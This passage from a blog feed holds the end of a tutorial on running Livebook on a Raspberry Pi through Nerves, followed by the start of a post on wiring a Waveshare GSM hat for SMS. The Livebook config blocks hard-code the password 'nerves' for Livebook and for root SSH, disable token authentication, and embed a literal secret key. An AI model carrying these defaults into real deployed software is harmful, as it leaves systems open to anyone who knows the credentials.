&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-solution-livebook&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-solution-livebook&quot;&gt;&lt;/a&gt;The Solution: Livebook&lt;/h3&gt;
&lt;p&gt;In April 2021, José Valim announced &lt;a href=&quot;https://dashbit.co/blog/announcing-livebook&quot;&gt;Livebook&lt;/a&gt;, a web application for writing interactive and collaborative code notebooks in Elixir. Livebook is very similar to &lt;a href=&quot;https://jupyter.org/&quot;&gt;Jupyter Notebooks&lt;/a&gt;, the go-to standard for writing, running, and sharing code in the Python community. Livebook allows the developer to write and execute code in script-like snippets and offers easy documentation with Markdown and other fancy features.&lt;/p&gt;
&lt;p&gt;When Frank presented Livebook on a Nerves device, I immediately realized its potential for writing and testing code directly on my device without having to copy&amp;paste it to or from my computer. If you work with GPIO or I2C connected modules, Livebook makes setting them up and playing around with them so much easier since everything can be done in Livebook&apos;s wonderful UI. Sounds interesting? Let&apos;s get started then!&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setup&quot;&gt;&lt;/a&gt;Setup&lt;/h3&gt;
&lt;p&gt;I speed-run a bit through the project setup here, but if you want to learn more about why I configure certain things, check out my &lt;a href=&quot;https://peterullrich.com/sending-text-messages-with-nerves&quot;&gt;Sending text messages with Nerves&lt;/a&gt; post.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Let&apos;s first create a new project with:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves.new&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;nerves_livebook&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;I usually create a &lt;code&gt;.env&lt;/code&gt;-file and set the &lt;code&gt;MIX_TARGET&lt;/code&gt; environment variable there:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Change &amp;#39;rpi0&amp;#39; to your target (e.g. &amp;#39;rpi3&amp;#39;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;MIX_TARGET&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;rpi0&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s add the Livebook dependencies:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# mix.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defp&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;deps&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:livebook&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.2.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;only: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:dev&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:prod&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:vega_lite&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.1.0&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:kino&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;~&gt; 0.2.3&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;...&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Before we can build the first firmware, we need to configure Livebook. Add the following code snippets to your &lt;code&gt;config.exs&lt;/code&gt; and &lt;code&gt;target.exs&lt;/code&gt;:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/config.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:livebook&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;LivebookWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;pubsub_server: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Livebook.PubSub&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;live_view: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;signing_salt: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;livebook&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:livebook&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;default_runtime: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Livebook.Runtime.Embedded&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;authentication_mode: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:password&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;token_authentication: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;password: &lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;System&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get_env&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;LIVEBOOK_PASSWORD&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;nerves&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;cookie: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:nerves_livebook_cookie&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:phoenix&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:json_library&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Jason&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# config/target.exs&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:livebook&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;LivebookWeb.Endpoint&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;url: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;host: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;nerves.local&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;http: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;port: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;80&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;transport_options: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;socket_opts: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:inet6&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;code_reloader: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;server: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;secret_key_base: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;z9/3PbKl5GFeH3OJ8iHq7d8NyJg7SbzQ00yn5WgWlYpRCe0q0dVf4CWuqmYwgXKV&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:livebook&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;root_path: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/data/livebooks&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:nerves_ssh&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;user_passwords: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;livebook&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;nerves&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;root&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;nerves&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you connect to your device via USB, you are done now. Otherwise, make sure to &lt;a href=&quot;https://github.com/nerves-networking/vintage_net_wifi&quot;&gt;configure the &lt;code&gt;wlan0&lt;/code&gt; connection&lt;/a&gt; as well. If you are not sure whether you need the following config, simply run &lt;code&gt;ssh nerves.local&lt;/code&gt; when your device is booted up. If you get a ssh connection, you don&apos;t need to configure &lt;code&gt;wlan0&lt;/code&gt;. Otherwise, you do.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#using-livebook&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;using-livebook&quot;&gt;&lt;/a&gt;Using Livebook&lt;/h3&gt;
&lt;p&gt;After you set the above configuration, plug your microSD card into your computer. Run the following command:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;mix&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;do&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;deps.get,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;firmware.burn&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command will fetch the dependencies, build a firmware, and burn it to your microSD card. After the above command finished, remove your microSD card from your computer and plug it into your device. Start your device, wait for 1-2 minutes, and then access &lt;a href=&quot;http://nerves.local&quot;&gt;http://nerves.local&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;You should see the following prompt:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/nerves_livebook/pw-prompt.png&quot; alt=&quot;The password prompt of the Livebook&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Enter the password &lt;code&gt;nerves&lt;/code&gt; and you should see the Livebook!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/nerves_livebook/overview.png&quot; alt=&quot;The Livebook overview on the Nerves device&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#caveat&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;caveat&quot;&gt;&lt;/a&gt;Caveat&lt;/h3&gt;
&lt;p&gt;Your livebooks are written to your device and &lt;strong&gt;not to your computer&lt;/strong&gt;. So, if you ever overwrite or delete the filesystem of your device, then &lt;strong&gt;all&lt;/strong&gt; of your livebooks will be gone. Therefore, backup your livebooks to your computer regularly. Also, if you know a better way to backup your livebooks, please let me know on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/using-livebook-with-nerves"/>
    <id>https://peterullrich.com/using-livebook-with-nerves</id>
    <title>Set up Livebook on your Raspberry Pi with Nerves</title>
    <updated>2021-08-05T15:01:35Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;I recently got to play around with a &lt;a href=&quot;https://www.raspberrypi.org/products/raspberry-pi-zero-w/&quot;&gt;Raspberry Pi Zero W&lt;/a&gt; and a &lt;a href=&quot;https://www.waveshare.com/gsm-gprs-gnss-hat.htm&quot;&gt;Waveshare GSM/GPRS/GNSS Hat&lt;/a&gt;, a relatively low-cost module (~30USD) for sending text messages, making phone calls, using mobile internet, and tracking your geolocation. In the following, I will walk you through how to set up the hardware and create a simple project for sending out text messages using &lt;a href=&quot;https://www.nerves-project.org/&quot;&gt;Nerves&lt;/a&gt; and &lt;a href=&quot;https://elixir-lang.org/&quot;&gt;Elixir&lt;/a&gt;.&lt;/p&gt;
&lt;h1&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-hardware-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-hardware-setup&quot;&gt;&lt;/a&gt;The Hardware Setup&lt;/h1&gt;
&lt;p&gt;You need the following hardware components:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sending_text_messages_with_nerves/item-list.jpg&quot; alt=&quot;Overview of the equipment needed&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A Raspberry Pi&lt;/strong&gt;. I use the &lt;a href=&quot;https://www.raspberrypi.org/products/raspberry-pi-zero-w/&quot;&gt;Raspberry Pi Zero W&lt;/a&gt;, which has a direct USB connection to your laptop, which you can use to upload your software and connect via SSH. Other Raspberry Pis like the &lt;code&gt;3b+&lt;/code&gt; don&apos;t have that USB connection and require access to a shared WiFi network. You don&apos;t necessarily need a Raspberry Pi, but any of the &lt;a href=&quot;https://hexdocs.pm/nerves/targets.html#supported-targets-and-systems&quot;&gt;supported targets&lt;/a&gt; will work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A Waveshare GSM/GPRS/GNSS Hat&lt;/strong&gt;. I bought this module since I didn&apos;t know better and it works perfectly fine. However, now I would recommend buying a GSM module which uses one of the modems supported by the &lt;a href=&quot;https://github.com/nerves-networking/vintage_net_mobile&quot;&gt;VintageNetMobile&lt;/a&gt; library. This library makes using mobile internet seamless, but only supports a few modems as of now. The Waveshare Hat uses the &lt;code&gt;SIM868&lt;/code&gt; modem, which isn&apos;t supported by the &lt;code&gt;VintageNetMobile&lt;/code&gt; library and therefore requires more work to set up a mobile internet connection.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;An activated SIM Card&lt;/strong&gt;. Make sure that the SIM card is activated and isn&apos;t locked by a PIN. You can test this by plugging the SIM card into your phone. If you can make phone calls without having to enter a PIN beforehand, the SIM card is probably activated.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A microSD card&lt;/strong&gt;. The size of the bundled version of your project together with the Nerves software will be around &lt;code&gt;36mb&lt;/code&gt;. Therefore, microSD cards of any size (&lt;code&gt;8GB&lt;/code&gt; or up) should work.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A 40 PIN GPIO Header&lt;/strong&gt;. These 40 Pins will connect the Waveshare Hat to the Raspberry Pi.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#installing-the-sim-card&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;installing-the-sim-card&quot;&gt;&lt;/a&gt;Installing the SIM Card&lt;/h3&gt;
&lt;p&gt;I struggled with this a bit (because I didn&apos;t read the manual), so let me explain how you install the SIM card on the Waveshare Hat.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sending_text_messages_with_nerves/setup-sim-card.png&quot; alt=&quot;How to put in the sim card&quot; /&gt;&lt;/p&gt;
&lt;p&gt;You first need to slide down the SIM card tray towards the battery holder. The tray has &quot;Open&quot; and &quot;Closed&quot; markings, which indicate in which direction you need to slide the tray. After you opened the tray, put in the SIM card, preferably in the largest SIM card plastic holding form in which it came. Otherwise, your SIM card might move around and lose connection to the Waveshare Hat. Close the tray and slide the tray into the &quot;Closed&quot; direction.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#connecting-the-waveshare-hat-with-the-raspberry-pi&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;connecting-the-waveshare-hat-with-the-raspberry-pi&quot;&gt;&lt;/a&gt;Connecting the Waveshare Hat with the Raspberry Pi&lt;/h3&gt;
&lt;p&gt;Use the &lt;code&gt;40 PIN GPIO Header&lt;/code&gt; to connect the Waveshare Hat with the Raspberry Pi. I stuck the long end of the pins into the Waveshare hat and the short ones into the Raspberry Pi. This way, it is easier to solder the pins onto the Raspberry Pi, and the Waveshare Hat has a good distance to the Raspberry Pi.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sending_text_messages_with_nerves/connection.jpg&quot; alt=&quot;Connecting the waveshare hat with the raspberry pi&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#optional-securing-the-waveshare-hat-with-the-frame-pins&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;optional-securing-the-waveshare-hat-with-the-frame-pins&quot;&gt;&lt;/a&gt;Optional: Securing the Waveshare Hat with the frame pins&lt;/h3&gt;
&lt;p&gt;If you want, you can use the 2 pins which come with the Waveshare Hat to connect the 2 frontal edges of the Waveshare Hat and the Raspberry Pi. This gives the entire construction a certain sturdiness.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/posts/sending_text_messages_with_nerves/frame-pins.png&quot; alt=&quot;How to put in the frame pins&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#setting-the-jumper&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;setting-the-jumper&quot;&gt;&lt;/a&gt;Setting the Jumper&lt;/h3&gt;
